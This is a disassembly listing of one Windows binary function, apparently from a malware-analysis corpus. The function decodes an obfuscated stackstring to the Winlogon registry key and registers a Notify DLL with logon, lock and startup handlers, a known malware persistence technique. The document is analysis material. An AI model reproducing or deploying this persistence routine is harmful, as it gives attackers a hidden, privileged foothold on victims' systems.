Function at 0x405beb
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push ebx
and byte [ebp - 0xdf], 0
push esi
lea eax, [ebp - 4]
push edi
mov esi, 0x20006
push eax
xor edi, edi
push esi
lea eax, [ebp - 0x114]
push edi
push eax
push closesocket
mov byte [ebp - 0x114], 0x53
mov byte [ebp - 0x100], 0x69
mov byte [ebp - 0xec], 0x73
mov byte [ebp - 0x113], 0x6f
mov byte [ebp - 0xff], 0x6e
mov byte [ebp - 0xeb], 0x69
mov byte [ebp - 0x112], 0x66
mov byte [ebp - 0xfe], 0x64
mov byte [ebp - 0xea], 0x6f
mov byte [ebp - 0x111], 0x74
mov byte [ebp - 0xfd], 0x6f
mov byte [ebp - 0xe9], 0x6e
mov byte [ebp - 0x110], 0x77
mov byte [ebp - 0xfc], 0x77
mov byte [ebp - 0xe8], 0x5c
mov byte [ebp - 0x10f], 0x61
mov byte [ebp - 0xfb], 0x73
mov byte [ebp - 0xe7], 0x57
mov byte [ebp - 0x10e], 0x72
mov byte [ebp - 0xfa], 0x20
mov byte [ebp - 0xe6], 0x69
mov byte [ebp - 0x10d], 0x65
mov byte [ebp - 0xf9], 0x4e
mov byte [ebp - 0xe5], 0x6e
mov byte [ebp - 0x10c], 0x5c
mov byte [ebp - 0xf8], 0x54
mov byte [ebp - 0xe4], 0x6c
mov byte [ebp - 0x10b], 0x4d
mov byte [ebp - 0xf7], 0x5c
mov byte [ebp - 0xe3], 0x6f
mov byte [ebp - 0x10a], 0x69
mov byte [ebp - 0xf6], 0x43
mov byte [ebp - 0xe2], 0x67
mov byte [ebp - 0x109], 0x63
mov byte [ebp - 0xf5], 0x75
mov byte [ebp - 0xe1], 0x6f
mov byte [ebp - 0x108], 0x72
mov byte [ebp - 0xf4], 0x72
mov byte [ebp - 0xe0], 0x6e
mov byte [ebp - 0x107], 0x6f
mov byte [ebp - 0xf3], 0x72
mov byte [ebp - 0x106], 0x73
mov byte [ebp - 0xf2], 0x65
mov byte [ebp - 0x105], 0x6f
mov byte [ebp - 0xf1], 0x6e
mov byte [ebp - 0x104], 0x66
mov byte [ebp - 0xf0], 0x74
mov byte [ebp - 0x103], 0x74
mov byte [ebp - 0xef], 0x56
mov byte [ebp - 0x102], 0x5c
mov byte [ebp - 0xee], 0x65
mov byte [ebp - 0x101], 0x57
mov byte [ebp - 0xed], 0x72
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405de0
lea eax, [ebp - 8]
push edi
push eax
push edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push esi
push edi
push edi
push edi
push str.Notify
push dword [ebp - 4]
call ebx
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x10], edi
jne 0x405de0
lea eax, [ebp - 4]
push edi
push eax
push edi
push esi
push edi
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp - 8]
call ebx
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, edi
je 0x405de7
xor eax, eax
jmp 0x406021
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
push 1
push edi
push str.DllName
push dword [ebp - 4]
call ebx
push 4
lea eax, [ebp - 0xc]
pop esi
mov dword [ebp - 0xc], edi
push esi
push eax
push esi
push edi
push str.Asynchronous
push dword [ebp - 4]
call ebx
lea eax, [ebp - 0xc]
push esi
push eax
push esi
push edi
push str.Impersonate
push dword [ebp - 4]
call ebx
mov esi, str.Lock
lea edi, [ebp - 0x1a4]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x19f]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov esi, str.Logoff
lea edi, [ebp - 0x192]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x18b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, str.Logon
lea edi, [ebp - 0x180]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
lea edi, [ebp - 0x17a]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov esi, str.Shutdown
lea edi, [ebp - 0x16e]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x165]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov esi, str.StartScreenSaver
lea edi, [ebp - 0x15c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x14b]
stosb byte es:[edi], al
mov eax, dword [str.Startup]
lea edi, [ebp - 0x142]
mov dword [ebp - 0x14a], eax
mov eax, dword [0x410490]
mov dword [ebp - 0x146], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, str.StopScreenSaver
lea edi, [ebp - 0x138]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [ebp - 0x128]
stosw word es:[edi], ax
mov esi, str.Unlock
lea edi, [ebp - 0x126]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x11f]
mov esi, str.WLELogoff
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.WLELock]
lea edi, [ebp - 0x25c]
mov dword [ebp - 0x264], eax
mov eax, dword [0x410464]
mov dword [ebp - 0x260], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea edi, [ebp - 0x24c]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x242]
mov esi, str.WLELogon
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [ebp - 0x234]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x22b]
mov esi, str.WLEShutdown
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x21c]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x210]
push 5
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
mov esi, str.WLEStartScreenSaver
lea edi, [ebp - 0x204]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x1f0]
mov esi, str.WLEStartup
stosd dword es:[edi], eax
lea edi, [ebp - 0x1ec]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x1e1]
mov esi, str.WLEStopScreenSaver
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [ebp - 0x1d4]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x1c1]
mov esi, str.WLEUnlock
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [ebp - 0x1bc]
xor eax, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x1b2]
lea esi, [ebp - 0x264]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edi, [ebp - 0x1a4]
mov dword [ebp + 8], 8
push esi
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
push esi
push 1
push 0
push edi
push dword [ebp - 4]
call ebx
add esi, 0x18
add edi, 0x12
dec dword [ebp + 8]
jne 0x405ff6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8